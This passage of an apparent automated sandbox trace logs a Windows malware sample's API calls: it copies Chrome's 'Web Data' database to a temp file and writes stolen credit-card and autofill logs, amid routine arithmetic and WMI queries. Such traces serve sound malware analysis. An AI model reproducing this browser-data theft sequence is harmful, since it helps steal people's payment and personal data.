pdecResult=0x12fe4ac) returned 0x0 [0204.273] VarDecRound (in: pdecIn=0x12feb10, cDecimals=0, pdecResult=0x12feb20 | out: pdecResult=0x12feb20) returned 0x0 [0204.273] VarDecRound (in: pdecIn=0x12feb10, cDecimals=0, pdecResult=0x12feb20 | out: pdecResult=0x12feb20) returned 0x0 [0204.275] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Credit_Cards.log", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Credit_Cards.log", lpFilePart=0x0) returned 0x5e [0204.286] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12ff008, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0204.286] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%", lpDst=0x12ff008, nSize=0x64 | out: lpDst="C:\\Users\\FD1HVy") returned 0x10 [0204.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", nBufferLength=0x105, lpBuffer=0x12febd4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpFilePart=0x0) returned 0x46 [0204.287] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web data"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_12.8873495+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_12.8873495+02_0011"), bFailIfExists=0) returned 1 [0204.300] ReadFile (in: hFile=0x468, lpBuffer=0x3202ac0, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x12ff060, lpOverlapped=0x0 | out: lpBuffer=0x3202ac0*, lpNumberOfBytesRead=0x12ff060*=0x11000, lpOverlapped=0x0) returned 1 [0204.303] VarDecCmp (pdecLeft=0x12ff180, pdecRight=0x12ff170) returned 0x2 [0204.303] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0204.303] VarDecRound (in: pdecIn=0x12feb04, cDecimals=0, pdecResult=0x12feae4 | out: pdecResult=0x12feae4) returned 0x0 [0204.303] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0204.303] VarDecCmp (pdecLeft=0x12feb24, pdecRight=0x12feb14) returned 0x1 [0204.303] VarDecMul (in: pdecLeft=0x12feb24, pdecRight=0x12feb14, pdecResult=0x12feae4 | out: pdecResult=0x12feae4) returned 0x0 [0204.303] VarDecRound (in: pdecIn=0x12feb04, cDecimals=0, pdecResult=0x12feae4 | out: pdecResult=0x12feae4) returned 0x0 [0204.303] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.303] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.303] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.303] VarDecCmp (pdecLeft=0x12fe4f0, pdecRight=0x12fe4e0) returned 0x2 [0204.303] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.303] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.303] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.303] VarDecCmp (pdecLeft=0x12fead4, pdecRight=0x12fe4f0) returned 0x1 [0204.303] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.303] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.303] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.303] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecCmp (pdecLeft=0x12fe4f0, pdecRight=0x12fe4e0) returned 0x2 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecCmp (pdecLeft=0x12fead4, pdecRight=0x12fe4f0) returned 0x1 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecCmp (pdecLeft=0x12fe4f0, pdecRight=0x12fe4e0) returned 0x2 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecCmp (pdecLeft=0x12fead4, pdecRight=0x12fe4f0) returned 0x1 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecCmp (pdecLeft=0x12fe4f0, pdecRight=0x12fe4e0) returned 0x2 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecCmp (pdecLeft=0x12fead4, pdecRight=0x12fe4f0) returned 0x1 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecCmp (pdecLeft=0x12fe4f0, pdecRight=0x12fe4e0) returned 0x2 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecCmp (pdecLeft=0x12fead4, pdecRight=0x12fe4f0) returned 0x1 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.304] VarDecCmp (pdecLeft=0x12fe4f0, pdecRight=0x12fe4e0) returned 0x2 [0204.304] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.305] VarDecRound (in: pdecIn=0x12fe478, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.305] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe488 | out: pdecResult=0x12fe488) returned 0x0 [0204.305] VarDecCmp (pdecLeft=0x12fead4, pdecRight=0x12fe4f0) returned 0x1 [0204.305] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.305] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.305] VarDecRound (in: pdecIn=0x12fe4a8, cDecimals=0, pdecResult=0x12fe4b8 | out: pdecResult=0x12fe4b8) returned 0x0 [0204.305] VarDecMul (in: pdecLeft=0x12feb24, pdecRight=0x12feb14, pdecResult=0x12feae4 | out: pdecResult=0x12feae4) returned 0x0 [0204.305] VarDecRound (in: pdecIn=0x12feb04, cDecimals=0, pdecResult=0x12feae4 | out: pdecResult=0x12feae4) returned 0x0 [0204.305] VarDecMul (in: pdecLeft=0x12feb24, pdecRight=0x12feb14, pdecResult=0x12feae4 | out: pdecResult=0x12feae4) returned 0x0 [0204.305] VarDecRound (in: pdecIn=0x12feb04, cDecimals=0, pdecResult=0x12feae4 | out: pdecResult=0x12feae4) returned 0x0 [0204.307] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Autofill.log", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Autofill.log", lpFilePart=0x0) returned 0x5a [0204.407] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fefb0 | out: ppv=0x12fefb0*=0x135504c) returned 0x0 [0204.407] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fefa8 | out: pAptType=0x12fefa8*=1) returned 0x0 [0204.407] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fefac | out: ppvObject=0x12fefac*=0x0) returned 0x80004002 [0204.407] IUnknown:Release (This=0x135504c) returned 0x0 [0204.408] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe908 | out: ppv=0x12fe908*=0x13827c8) returned 0x0 [0204.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x13827c8, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feb24 | out: ppvObject=0x12feb24*=0x0) returned 0x80004002 [0204.409] WbemDefPath:IClassFactory:CreateInstance (in: This=0x13827c8, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feb30 | out: ppvObject=0x12feb30*=0x13a42c0) returned 0x0 [0204.409] WbemDefPath:IUnknown:Release (This=0x13827c8) returned 0x0 [0204.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe754 | out: ppvObject=0x12fe754*=0x13a42c0) returned 0x0 [0204.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe710 | out: ppvObject=0x12fe710*=0x0) returned 0x80004002 [0204.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe304 | out: ppvObject=0x12fe304*=0x0) returned 0x80004002 [0204.409] WbemDefPath:IUnknown:AddRef (This=0x13a42c0) returned 0x3 [0204.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe064 | out: ppvObject=0x12fe064*=0x0) returned 0x80004002 [0204.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe014 | out: ppvObject=0x12fe014*=0x0) returned 0x80004002 [0204.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe020 | out: ppvObject=0x12fe020*=0x13a12d0) returned 0x0 [0204.410] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13a12d0, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe028 | out: pCid=0x12fe028) returned 0x0 [0204.410] WbemDefPath:IUnknown:Release (This=0x13a12d0) returned 0x3 [0204.410] CoGetContextToken (in: pToken=0x12fe080 | out: pToken=0x12fe080) returned 0x0 [0204.410] CoGetContextToken (in: pToken=0x12fe488 | out: pToken=0x12fe488) returned 0x0 [0204.410] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe514 | out: ppvObject=0x12fe514*=0x0) returned 0x80004002 [0204.410] WbemDefPath:IUnknown:Release (This=0x13a42c0) returned 0x2 [0204.410] WbemDefPath:IUnknown:Release (This=0x13a42c0) returned 0x1 [0204.410] CoGetContextToken (in: pToken=0x12fee28 | out: pToken=0x12fee28) returned 0x0 [0204.410] CoGetContextToken (in: pToken=0x12fed88 | out: pToken=0x12fed88) returned 0x0 [0204.410] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a42c0, riid=0x12fee58*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fee54 | out: ppvObject=0x12fee54*=0x13a42c0) returned 0x0 [0204.410] WbemDefPath:IUnknown:AddRef (This=0x13a42c0) returned 0x3 [0204.410] WbemDefPath:IUnknown:Release (This=0x13a42c0) returned 0x2 [0204.410] WbemDefPath:IWbemPath:SetText (This=0x13a42c0, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0204.410] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a42c0, puCount=0x12fefd8 | out: puCount=0x12fefd8*=0x2) returned 0x0 [0204.410] WbemDefPath:IWbemPath:GetText (in: This=0x13a42c0, lFlags=4, puBuffLength=0x12fefd4*=0x0, pszText=0x0 | out: puBuffLength=0x12fefd4*=0xf, pszText=0x0) returned 0x0 [0204.410] WbemDefPath:IWbemPath:GetText (in: This=0x13a42c0, lFlags=4, puBuffLength=0x12fefd4*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefd4*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0204.410] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a42c0, puCount=0x12fefc4 | out: puCount=0x12fefc4*=0x2) returned 0x0 [0204.411] WbemDefPath:IWbemPath:GetText (in: This=0x13a42c0, lFlags=4, puBuffLength=0x12fefc0*=0x0, pszText=0x0 | out: puBuffLength=0x12fefc0*=0xf, pszText=0x0) returned 0x0 [0204.411] WbemDefPath:IWbemPath:GetText (in: This=0x13a42c0, lFlags=4, puBuffLength=0x12fefc0*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefc0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0204.411] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12fefcc | out: puCount=0x12fefcc*=0x2) returned 0x0 [0204.411] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fefc8*=0x0, pszText=0x0 | out: puBuffLength=0x12fefc8*=0xf, pszText=0x0) returned 0x0 [0204.411] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=4, puBuffLength=0x12fefc8*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefc8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0204.411] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef54 | out: ppv=0x12fef54*=0x135504c) returned 0x0 [0204.411] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef4c | out: pAptType=0x12fef4c*=1) returned 0x0 [0204.411] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef50 | out: ppvObject=0x12fef50*=0x0) returned 0x80004002 [0204.411] IUnknown:Release (This=0x135504c) returned 0x0 [0204.412] CoGetClassObject (in: rclsid=0x1394574*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12feb60 | out: ppv=0x12feb60*=0x13a1450) returned 0x0 [0204.412] WbemLocator:IUnknown:QueryInterface (in: This=0x13a1450, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fed7c | out: ppvObject=0x12fed7c*=0x0) returned 0x80004002 [0204.412] WbemLocator:IClassFactory:CreateInstance (in: This=0x13a1450, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed88 | out: ppvObject=0x12fed88*=0x1382788) returned 0x0 [0204.412] WbemLocator:IUnknown:Release (This=0x13a1450) returned 0x0 [0204.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1382788, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe9ac | out: ppvObject=0x12fe9ac*=0x1382788) returned 0x0 [0204.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1382788, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe968 | out: ppvObject=0x12fe968*=0x0) returned 0x80004002 [0204.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1382788, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe55c | out: ppvObject=0x12fe55c*=0x0) returned 0x80004002 [0204.412] WbemLocator:IUnknown:AddRef (This=0x1382788) returned 0x3 [0204.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1382788, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe2bc | out: ppvObject=0x12fe2bc*=0x0) returned 0x80004002 [0204.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1382788, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe26c | out: ppvObject=0x12fe26c*=0x0) returned 0x80004002 [0204.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1382788, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe278 | out: ppvObject=0x12fe278*=0x0) returned 0x80004002 [0204.412] CoGetContextToken (in: pToken=0x12fe2d8 | out: pToken=0x12fe2d8) returned 0x0 [0204.412] CoGetObjectContext (in: riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x13a134c | out: ppv=0x13a134c*=0x1355040) returned 0x0 [0204.413] CoGetContextToken (in: pToken=0x12fe6e0 | out: pToken=0x12fe6e0) returned 0x0 [0204.413] WbemLocator:IUnknown:QueryInterface (in: This=0x1382788, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe76c | out: ppvObject=0x12fe76c*=0x0) returned 0x80004002 [0204.413] WbemLocator:IUnknown:Release (This=0x1382788) returned 0x2 [0204.413] WbemLocator:IUnknown:Release (This=0x1382788) returned 0x1 [0204.413] CoGetContextToken (in: pToken=0x12fed68 | out: pToken=0x12fed68) returned 0x0 [0204.413] CoGetContextToken (in: pToken=0x12fecc8 | out: pToken=0x12fecc8) returned 0x0 [0204.413] WbemLocator:IUnknown:QueryInterface (in: This=0x1382788, riid=0x12fed98*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fed94 | out: ppvObject=0x12fed94*=0x1382788) returned 0x0 [0204.413] WbemLocator:IUnknown:AddRef (This=0x1382788) returned 0x3 [0204.413] WbemLocator:IUnknown:Release (This=0x1382788) returned 0x2 [0204.413] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a3e60, puCount=0x12fef30 | out: puCount=0x12fef30*=0x2) returned 0x0 [0204.413] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=8, puBuffLength=0x12fef2c*=0x0, pszText=0x0 | out: puBuffLength=0x12fef2c*=0xf, pszText=0x0) returned 0x0 [0204.413] WbemDefPath:IWbemPath:GetText (in: This=0x13a3e60, lFlags=8, puBuffLength=0x12fef2c*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef2c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0204.413] CoCreateInstance (in: rclsid=0x6e5436ac*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6e54370c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x12fede8 | out: ppv=0x12fede8*=0x13826a8) returned 0x0 [0204.414] WbemLocator:IWbemLocator:ConnectServer (in: This=0x13826a8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x12fee7c | out: ppNamespace=0x12fee7c*=0x13ca838) returned 0x0 [0204.429] WbemLocator:IUnknown:QueryInterface (in: This=0x13ca838, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 